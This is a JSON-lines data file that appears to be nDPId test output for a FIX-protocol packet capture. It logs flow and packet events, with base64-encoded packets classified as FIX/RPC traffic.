+00457{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755109,"pkt_ts_usec":243242,"pkt_caplen":91,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":91,"pkt_l4_len":57,"pkt":"THK5MeMlACJNe\/gxCABFAABNT3sAAPUGl0MIERYfwKgAFA+gqko3bYDiRQ1qAYAY\/\/8cMQAAAQEICsq+JozkIvOrOD1PATk9MDAxNAEzNT1QAQA4AAAUjFEGgw=="} +00421{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755109,"pkt_ts_usec":243423,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ACJNe\/gxTHK5MeMlCABFAAA04y1AAEAGeKrAqAAUCBEWH6pKD6BFDWoBN22A+4AQ\/+CtKQAAAQEICuQi8\/bKviaM"} +00466{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5,"source":"fix.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1493755109264,"flow_last_seen":0,"flow_tot_l4_data_len":62,"flow_min_l4_data_len":62,"flow_max_l4_data_len":62,"flow_avg_l4_data_len":62,"midstream":1,"l3_proto":"ip4","src_ip":"8.17.22.31","dst_ip":"192.168.0.20","src_port":4000,"dst_port":47968,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00461{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755109,"pkt_ts_usec":264927,"pkt_caplen":96,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":96,"pkt_l4_len":62,"pkt":"THK5MeMlACJNe\/gxCABFAABSVaMAAPUGkRYIERYfwKgAFA+gu2Bwv8eLGL2htoAY\/\/8FlAAAAQEICsq+JqLD2CKPOD1PATk9MDAxOQEzNT1QAQBgAAAA1ygEAAAC+SgE"} +00487{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":5,"source":"fix.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1493755109264,"flow_last_seen":0,"flow_tot_l4_data_len":62,"flow_min_l4_data_len":62,"flow_max_l4_data_len":62,"flow_avg_l4_data_len":62,"midstream":1,"l3_proto":"ip4","src_ip":"8.17.22.31","dst_ip":"192.168.0.20","src_port":4000,"dst_port":47968,"l4_proto":"tcp","ndpi": {"proto":"FIX","breed":"Safe","category":"RPC"}} +00421{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755109,"pkt_ts_usec":265074,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ACJNe\/gxTHK5MeMlCABFAAA0nQVAAEAGvtLAqAAUCBEWH7tgD6AYvaG2cL\/HqYAQ\/+ACDgAAAQEICsPYIsvKviai"} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7,"source":"fix.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1493755109301,"flow_last_seen":0,"flow_tot_l4_data_len":59,"flow_min_l4_data_len":59,"flow_max_l4_data_len":59,"flow_avg_l4_data_len":59,"midstream":1,"l3_proto":"ip4","src_ip":"208.245.107.3","dst_ip":"192.168.0.20","src_port":4000,"dst_port":45578,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00455{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755109,"pkt_ts_usec":301176,"pkt_caplen":93,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":93,"pkt_l4_len":59,"pkt":"THK5MeMlACJNe\/gxCABFAABPilIAADIGAaLQ9WsDwKgAFA+gsgqYEHEay+C1D1AYXjiwMAAAOD1GSVguNC4xATk9MDAwMTQBMzU9MQExMTI9ZmFybQExMD0yMTcB"} +00490{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":7,"source":"fix.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1493755109301,"flow_last_seen":0,"flow_tot_l4_data_len":59,"flow_min_l4_data_len":59,"flow_max_l4_data_len":59,"flow_avg_l4_data_len":59,"midstream":1,"l3_proto":"ip4","src_ip":"208.245.107.3","dst_ip":"192.168.0.20","src_port":4000,"dst_port":45578,"l4_proto":"tcp","ndpi": {"proto":"FIX","breed":"Safe","category":"RPC"}} +00413{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755109,"pkt_ts_usec":301346,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ACJNe\/gxTHK5MeMlCABFAAAoLPdAAEAGESTAqAAU0PVrA7IKD6DL4LUPmBBxQVAQ\/\/9nMgAAAAAAAAAA"} +00466{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9,"source":"fix.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1493755109301,"flow_last_seen":0,"flow_tot_l4_data_len":99,"flow_min_l4_data_len":99,"flow_max_l4_data_len":99,"flow_avg_l4_data_len":99,"midstream":1,"l3_proto":"ip4","src_ip":"8.17.22.31","dst_ip":"192.168.0.20","src_port":4000,"dst_port":47952,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00515{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755109,"pkt_ts_usec":301518,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"THK5MeMlACJNe\/gxCABFAAB3JWUAAPUGwS8IERYfwKgAFA+gu1Cc6Eb967pj5oAY\/\/+1oAAAAQEICsq+Jsaxc69UOD1GSVguNC4xATk9MDAwMDQxATM1PTABMzQ9MDA2MTI3ATQzPU4BNTI9MjAxNzA1MDItMTk6NTg6MjkBMTA9MTEzAQ=="} +00487{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":9,"source":"fix.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1493755109301,"flow_last_seen":0,"flow_tot_l4_data_len":99,"flow_min_l4_data_len":99,"flow_max_l4_data_len":99,"flow_avg_l4_data_len":99,"midstream":1,"l3_proto":"ip4","src_ip":"8.17.22.31","dst_ip":"192.168.0.20","src_port":4000,"dst_port":47952,"l4_proto":"tcp","ndpi": {"proto":"FIX","breed":"Safe","category":"RPC"}} +00526{"flow_id":3,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755109,"pkt_ts_usec":301555,"pkt_caplen":140,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":140,"pkt_l4_len":106,"pkt":"ACJNe\/gxTHK5MeMlCABFAAB+LPhAAEAGEM3AqAAU0PVrA7IKD6DL4LUPmBBxQVAY\/\/8uDQAAOD1GSVhDT01QATk9NzEBeJwNx7ENgDAMBED9QER+x684kdwisQEtDR0N+xdw3WXtx9miEbPMQugqQ48\/iuGQlxuHyXzjXMrlCdLrvt4HtKKED90WDdY="} +00421{"flow_id":4,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755109,"pkt_ts_usec":301679,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ACJNe\/gxTHK5MeMlCABFAAA04B5AAEAGe7nAqAAUCBEWH7tQD6DrumPmnOhHQIAQ\/+BBSgAAAQEICrFztPLKvibG"} +00566{"flow_id":3,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755109,"pkt_ts_usec":353604,"pkt_caplen":169,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":169,"pkt_l4_len":135,"pkt":"THK5MeMlACJNe\/gxCABFAACbilMAADIGAVXQ9WsDwKgAFA+gsgqYEHFBy+C1D1AYXjh7AwAAOD1PATk9MDAxOQEzNT1QAQBgAAAAEiZl+XgqbZqYOD1PATk9MDAxNgEzNT1QAQBIAAAAEiMAk8A4OD1PATk9MDAyMAEzNT1QAQBoAAAAEicA\/o\/4Kj\/T2Dg9TwE5PTAwMTYBMzU9UAEASAAAABIjAQ3SOA=="} +00404{"flow_id":3,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755109,"pkt_ts_usec":357189,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"THK5MeMlACJNe\/gxCABFAAAoilQAADIGAcfQ9WsDwKgAFA+gsgqYEHG0y+C1ZVAQXjgIMQAA"} +00473{"flow_id":2,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755109,"pkt_ts_usec":365068,"pkt_caplen":101,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":101,"pkt_l4_len":67,"pkt":"THK5MeMlACJNe\/gxCABFAABXdbIAAPUGcQIIERYfwKgAFA+gu2Bwv8epGL2htoAY\/\/9rRwAAAQEICsq+JwbD2CLLOD1PATk9MDAyNAEzNT1HAQCIAAAA1gw\/8YUeuFHrhQAAAAE="} +00458{"flow_id":2,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755109,"pkt_ts_usec":365191,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"THK5MeMlACJNe\/gxCABFAABOdbQAAPUGcQkIERYfwKgAFA+gu2Bwv8fMGL2htoAY\/\/8MbwAAAQEICsq+JwbD2CLLOD1PATk9MDAxNQEzNT1QAQBAAAAAMCQGKA4="} +00422{"flow_id":2,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755109,"pkt_ts_usec":365237,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ACJNe\/gxTHK5MeMlCABFAAA0nQZAAEAGvtHAqAAUCBEWH7tgD6AYvaG2cL\/HzIAQ\/+ABaQAAAQEICsPYIunKvicG"} +00422{"flow_id":2,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755109,"pkt_ts_usec":365361,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ACJNe\/gxTHK5MeMlCABFAAA0nQdAAEAGvtDAqAAUCBEWH7tgD6AYvaG2cL\/H5oAQ\/+ABTwAAAQEICsPYIunKvicG"} +00414{"flow_id":3,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":18,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755109,"pkt_ts_usec":395535,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ACJNe\/gxTHK5MeMlCABFAAAoLPlAAEAGESLAqAAU0PVrA7IKD6DL4LVlmBBxtFAQ\/\/9maQAAAAAAAAAA"} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":19,"source":"fix.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1493755109440,"flow_last_seen":0,"flow_tot_l4_data_len":55,"flow_min_l4_data_len":55,"flow_max_l4_data_len":55,"flow_avg_l4_data_len":55,"midstream":1,"l3_proto":"ip4","src_ip":"208.245.107.3","dst_ip":"192.168.0.20","src_port":4000,"dst_port":45584,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00452{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":19,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755109,"pkt_ts_usec":440420,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"THK5MeMlACJNe\/gxCABFAABLyzMAADIGwMTQ9WsDwKgAFA+gshDsZRC0r0wvBlAYWghECQAAOD1PATk9MDAyNAEzNT1HAQCIAAAAVgxAWLVwoAAAAAAAAAE="} +00491{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":19,"source":"fix.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1493755109440,"flow_last_seen":0,"flow_tot_l4_data_len":55,"flow_min_l4_data_len":55,"flow_max_l4_data_len":55,"flow_avg_l4_data_len":55,"midstream":1,"l3_proto":"ip4","src_ip":"208.245.107.3","dst_ip":"192.168.0.20","src_port":4000,"dst_port":45584,"l4_proto":"tcp","ndpi": {"proto":"FIX","breed":"Safe","category":"RPC"}} +00413{"flow_id":5,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":20,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755109,"pkt_ts_usec":440588,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ACJNe\/gxTHK5MeMlCABFAAAoPkFAAEAG\/9nAqAAU0PVrA7IQD6CvTC8G7GUQ11AQo65yMAAAAAAAAAAA"} +01023{"flow_id":3,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":21,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755109,"pkt_ts_usec":444758,"pkt_caplen":511,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":511,"pkt_l4_len":477,"pkt":"THK5MeMlACJNe\/gxCABFAAHxilUAADIG\/\/zQ9WsDwKgAFA+gsgqYEHG0y+C1ZVAYXjjFugAAOD1PATk9MDAyNwEzNT1QAQCgAAAAFQ1XhioHoSAAAAASIwEGMRg4PU8BOT0wMDE1ATM1PVABAEAAAAASKj0JADg9TwE5PTAwMjABMzU9UAEAaAAAABInARVzWCpMS0A4PU8BOT0wMDMyATM1PVABAMgAAAASJwDYalgqas\/AAAAAFQ1XhysBQG9AOD1PATk9MDAyMAEzNT1QAQBoAAAAEicA0Mk4KnJw4Dg9TwE5PTAwMjABMzU9UAEAaAAAABInAKMCeCp1O7g4PU8BOT0wMDQxATM1PUcBARAAAAAQDD\/xesxO+IuXAAAAAQAAAHkMP+sGt6ol2NgAAAABOD1PATk9MDAyMAEzNT1QAQBoAAAAEiZWtzgrAKqjmDg9TwE5PTAwMjABMzU9UAEAaAAAABImNWfgKwC55dg4PU8BOT0wMDI5ATM1PVABALAAAAASJjCRmCsA0Mk4AAAAFSMBA2ZAOD1PATk9MDAxNgEzNT1QAQBIAAAAFSMBEqiAOD1PATk9MDAzNAEzNT1QAQDYAAAAFScBA2ZAKwExLQAAAAASJk8WGCsAtxsAOD1PATk9MDAyMAEzNT1QAQBoAAAAEiZtmpgrAKfYwA=="} +00414{"flow_id":3,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":22,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755109,"pkt_ts_usec":444934,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ACJNe\/gxTHK5MeMlCABFAAAoLPpAAEAGESHAqAAU0PVrA7IKD6DL4LVlmBBzfVAQ\/\/9koAAAAAAAAAAA"} +00474{"flow_id":2,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755109,"pkt_ts_usec":465209,"pkt_caplen":101,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":101,"pkt_l4_len":67,"pkt":"THK5MeMlACJNe\/gxCABFAABXn+0AAPUGRscIERYfwKgAFA+gu2Bwv8fmGL2htoAY\/\/+1MAAAAQEICsq+J2rD2CLpOD1PATk9MDAyNAEzNT1HAQCIAAAAQQw\/51h5Pdl\/YwAAAAE="} +00474{"flow_id":2,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755109,"pkt_ts_usec":465332,"pkt_caplen":100,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":100,"pkt_l4_len":66,"pkt":"THK5MeMlACJNe\/gxCABFAABWn\/kAAPUGRrwIERYfwKgAFA+gu2Bwv8gJGL2htoAY\/\/\/VPAAAAQEICsq+J2rD2CLpOD1PATk9MDAyMwEzNT1QAQCAAAAAAyAaAAAANCUBOCkD9g=="} +00423{"flow_id":2,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":25,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755109,"pkt_ts_usec":465414,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ACJNe\/gxTHK5MeMlCABFAAA0nQhAAEAGvs\/AqAAUCBEWH7tgD6AYvaG2cL\/ICYAQ\/+AAqgAAAQEICsPYIwfKvidq"} +00423{"flow_id":2,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":26,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755109,"pkt_ts_usec":465439,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ACJNe\/gxTHK5MeMlCABFAAA0nQlAAEAGvs7AqAAUCBEWH7tgD6AYvaG2cL\/IK4AQ\/+AAiAAAAQEICsPYIwfKvidq"} +00476{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":27,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755109,"pkt_ts_usec":493831,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"THK5MeMlACJNe\/gxCABFAABbroEAAPUGOC8IERYfwKgAFA+gqko3bYD7RQ1qAYAY\/\/9THwAAAQEICsq+J4fkIvP2OD1GSVguNC4xATk9MDAwMTQBMzU9MQExMTI9ZmFybQExMD0yMTcB"} +00543{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":28,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755109,"pkt_ts_usec":493945,"pkt_caplen":152,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":152,"pkt_l4_len":118,"pkt":"THK5MeMlACJNe\/gxCABFAACKrpsAAPUGN+YIERYfwKgAFA+gqko3bYEiRQ1qAYAY\/\/\/LDQAAAQEICsq+J4fkIvP2OD1PATk9MDA3NQEzNT1HAQIgAAAPmgxAVgj1vl2eQQAAAAEAAAw8DEBsIuE\/SpirAAAAAQAADVsMQGQMzMA3kxQAAAABAAAMNAxAWWZmXgLqlgAAAAE="} +00421{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":29,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755109,"pkt_ts_usec":494038,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ACJNe\/gxTHK5MeMlCABFAAA04y5AAEAGeKnAqAAUCBEWH6pKD6BFDWoBN22BIoAQ\/+CrvAAAAQEICuQi9EHKvieH"} +00421{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":30,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755109,"pkt_ts_usec":494062,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ACJNe\/gxTHK5MeMlCABFAAA04y9AAEAGeKjAqAAUCBEWH6pKD6BFDWoBN22BeIAQ\/+CrZgAAAQEICuQi9EHKvieH"} +00542{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":31,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755109,"pkt_ts_usec":494285,"pkt_caplen":151,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":151,"pkt_l4_len":117,"pkt":"ACJNe\/gxTHK5MeMlCABFAACJ4zBAAEAGeFLAqAAUCBEWH6pKD6BFDWoBN22BeIAY\/+ChJgAAAQEICuQi9EHKvieHOD1GSVhDT01QATk9NzABeJwFwbENgDAMBEB5IKJ\/xyZOpG+R2ICWho6G\/QvuSsd5tWi0KSDSegrWQ2DW6JYuBwcSvnGurOVlpOu5v9cIcaf93gcN2Q=="} +00643{"flow_id":3,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":32,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755109,"pkt_ts_usec":495499,"pkt_caplen":230,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":230,"pkt_l4_len":196,"pkt":"THK5MeMlACJNe\/gxCABFAADYilYAADIGARXQ9WsDwKgAFA+gsgqYEHN9y+C1ZVAYXjhm3QAAOD1PATk9MDAyMAEzNT1QAQBoAAAAEiZeWFgrAJD1YDg9TwE5PTAwMTUBMzU9UAEAQAAAABIiR3T4OD1PATk9MDAyMAEzNT1QAQBoAAAAEiY4MrgrAL68IDg9TwE5PTAwMjABMzU9UAEAaAAAABImMJGYKwDVn4A4PU8BOT0wMDIwATM1PVABAGgAAAASJiYloCsA3UCgOD1PATk9MDAxNQEzNT1QAQBAAAAAEiIehIA="} +00415{"flow_id":3,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":33,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755109,"pkt_ts_usec":495641,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ACJNe\/gxTHK5MeMlCABFAAAoLPtAAEAGESDAqAAU0PVrA7IKD6DL4LVlmBB0LVAQ\/\/9j8AAAAAAAAAAA"} +00423{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":34,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755109,"pkt_ts_usec":512178,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"THK5MeMlACJNe\/gxCABFAAA0txoAAPUGL70IERYfwKgAFA+gqko3bYF4RQ1qVoAQ\/\/+q4AAAAQEICsq+J5nkIvRB"} +00651{"flow_id":3,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":35,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755109,"pkt_ts_usec":548295,"pkt_caplen":233,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":233,"pkt_l4_len":199,"pkt":"THK5MeMlACJNe\/gxCABFAADbilcAADIGARHQ9WsDwKgAFA+gsgqYEHQty+C1ZVAYXjj1cwAAOD1PATk9MDA1OAEzNT1HAQGYAAABbQw\/78AvL5h0AAAAAAEAAAAODD\/0skyDZlFuAAAAAQAAAGMMP\/CHqNZNfw8AAAABOD1PATk9MDAxNgEzNT1QAQBIAAAAEisA5OHAOD1PATk9MDAyMAEzNT1QAQBoAAAAEiYPQkArAPQkADg9TwE5PTAwNDEBMzU9RwEBEAAAAWEMQF6aj2Bas6sAAAABAAAABQxAXAHbHp8neAAAAAE="} +00416{"flow_id":3,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":36,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755109,"pkt_ts_usec":548516,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ACJNe\/gxTHK5MeMlCABFAAAoLPxAAEAGER\/AqAAU0PVrA7IKD6DL4LVlmBB04FAQ\/\/9jPQAAAAAAAAAA"} +00459{"flow_id":2,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":37,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755109,"pkt_ts_usec":565245,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"THK5MeMlACJNe\/gxCABFAABOzkUAAPUGGHgIERYfwKgAFA+gu2Bwv8grGL2htoAY\/\/8K7AAAAQEICsq+J87D2CMHOD1PATk9MDAxNQEzNT1QAQBAAAAAPiQDKCM="} +00424{"flow_id":2,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":38,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755109,"pkt_ts_usec":565434,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ACJNe\/gxTHK5MeMlCABFAAA0nQpAAEAGvs3AqAAUCBEWH7tgD6AYvaG2cL\/IRYAQ\/+D\/6wAAAQEICsPYIyXKvifO"} +00528{"flow_id":3,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":39,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755109,"pkt_ts_usec":597948,"pkt_caplen":143,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":143,"pkt_l4_len":109,"pkt":"THK5MeMlACJNe\/gxCABFAACBilgAADIGAWrQ9WsDwKgAFA+gsgqYEHTgy+C1ZVAYXjhSGwAAOD1PATk9MDAxNgEzNT1QAQBIAAAAEisA7ILgOD1PATk9MDAxOQEzNT1QAQBgAAAAEgVVWCMBaV+4OD1PATk9MDAyMQEzNT1QAQBwAAAAEicBYb6YKwD0JAA="} 